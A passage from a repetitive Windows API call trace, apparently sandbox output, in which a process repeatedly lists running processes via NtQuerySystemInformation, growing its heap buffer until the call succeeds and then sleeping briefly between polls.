0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x60d8) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x70fc) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x8120) returned 0x507728 [0037.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.300] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x9144) returned 0x507728 [0037.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.300] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0xa168) returned 0x517ec0 [0037.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0037.301] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0xb18c) returned 0x522030 [0037.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x522030, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x522030, ResultLength=0x0) returned 0xc0000004 [0037.302] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x522030, Size=0xc1b0) returned 0x522030 [0037.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x522030, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x522030, ResultLength=0x0) returned 0xc0000004 [0037.302] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x522030, Size=0xd1d4) returned 0x52e1e8 [0037.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x52e1e8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x52e1e8, ResultLength=0x0) returned 0x0 [0037.303] Sleep (dwMilliseconds=0x64) [0038.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5156d8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x5156d8, ResultLength=0x0) returned 0xc0000004 [0038.008] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5156d8, Size=0x2048) returned 0x4fcea8 [0038.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.009] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x306c) returned 0x4fcea8 [0038.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.009] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x4090) returned 0x4fcea8 [0038.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.009] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x50b4) returned 0x50abf8 [0038.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0038.010] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0038.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0038.010] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x517ec0 [0038.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.011] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0x8120) returned 0x517ec0 [0038.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.012] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0x9144) returned 0x517ec0 [0038.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.012] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0xa168) returned 0x517ec0 [0038.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.012] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0xb18c) returned 0x517ec0 [0038.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.013] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0xc1b0) returned 0x517ec0 [0038.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0xc0000004 [0038.013] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517ec0, Size=0xd1d4) returned 0x517ec0 [0038.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517ec0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x517ec0, ResultLength=0x0) returned 0x0 [0038.014] Sleep (dwMilliseconds=0x64) [0038.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5156d8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x5156d8, ResultLength=0x0) returned 0xc0000004 [0038.153] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5156d8, Size=0x2048) returned 0x4fcea8 [0038.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.154] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x306c) returned 0x4fcea8 [0038.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.154] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x4090) returned 0x4fcea8 [0038.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0038.154] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x50b4) returned 0x50abf8 [0038.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0038.155] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0038.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0038.155] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x517e58 [0038.156] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.156] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0x8120) returned 0x517e58 [0038.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0x9144) returned 0x517e58 [0038.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0xa168) returned 0x517e58 [0038.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0xb18c) returned 0x517e58 [0038.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.158] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0xc1b0) returned 0x517e58 [0038.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0xc0000004 [0038.158] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e58, Size=0xd1d4) returned 0x517e58 [0038.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x517e58, ResultLength=0x0) returned 0x0 [0038.158] Sleep (dwMilliseconds=0x64) [0039.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4fcea8 [0039.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x306c) returned 0x4fcea8 [0039.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x4090) returned 0x4fcea8 [0039.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x50b4) returned 0x537e58 [0039.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.157] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x60d8) returned 0x50abf8 [0039.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0039.158] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0039.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0039.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0039.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0039.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0039.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0039.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.160] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xd1d4) returned 0x544010 [0039.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x544010, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x544010, ResultLength=0x0) returned 0x0 [0039.161] Sleep (dwMilliseconds=0x64) [0039.295] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4fcea8 [0039.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.296] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x306c) returned 0x4fcea8 [0039.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.296] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x4090) returned 0x4fcea8 [0039.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0039.296] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x50b4) returned 0x50abf8 [0039.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0039.297] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0039.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0039.297] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0039.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.298] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0039.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.298] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0039.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.298] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0039.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.298] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0039.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0039.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0039.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0x0 [0039.299] Sleep (dwMilliseconds=0x64) [0040.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0040.178] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4fcea8 [0040.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0040.178] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x306c) returned 0x4fcea8 [0040.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0040.178] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x4090) returned 0x4fcea8 [0040.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4fcea8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4fcea8, ResultLength=0x0) returned 0xc0000004 [0040.178] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4fcea8, Size=0x50b4) returned 0x50abf8 [0040.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.179] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0040.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.179] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0040.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.180] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0040.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.180] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0040.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.181] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0040.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.181] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0040.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.181] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0040.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0x0 [0040.182] Sleep (dwMilliseconds=0x64) [0040.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0040.375] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4feea8 [0040.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4feea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4feea8, ResultLength=0x0) returned 0xc0000004 [0040.376] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4feea8, Size=0x306c) returned 0x50abf8 [0040.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.376] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0040.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.376] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0040.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.376] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0040.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0040.377] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0040.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.377] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0040.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.378] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0040.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.378] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0040.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.378] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0040.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0040.378] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0040.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0x0 [0040.379] Sleep (dwMilliseconds=0x64) [0041.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0041.210] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4feea8 [0041.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4feea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4feea8, ResultLength=0x0) returned 0xc0000004 [0041.210] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4feea8, Size=0x306c) returned 0x50abf8 [0041.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.211] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0041.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.211] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0041.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.211] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0041.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.211] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0041.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.213] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0041.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.213] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0041.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 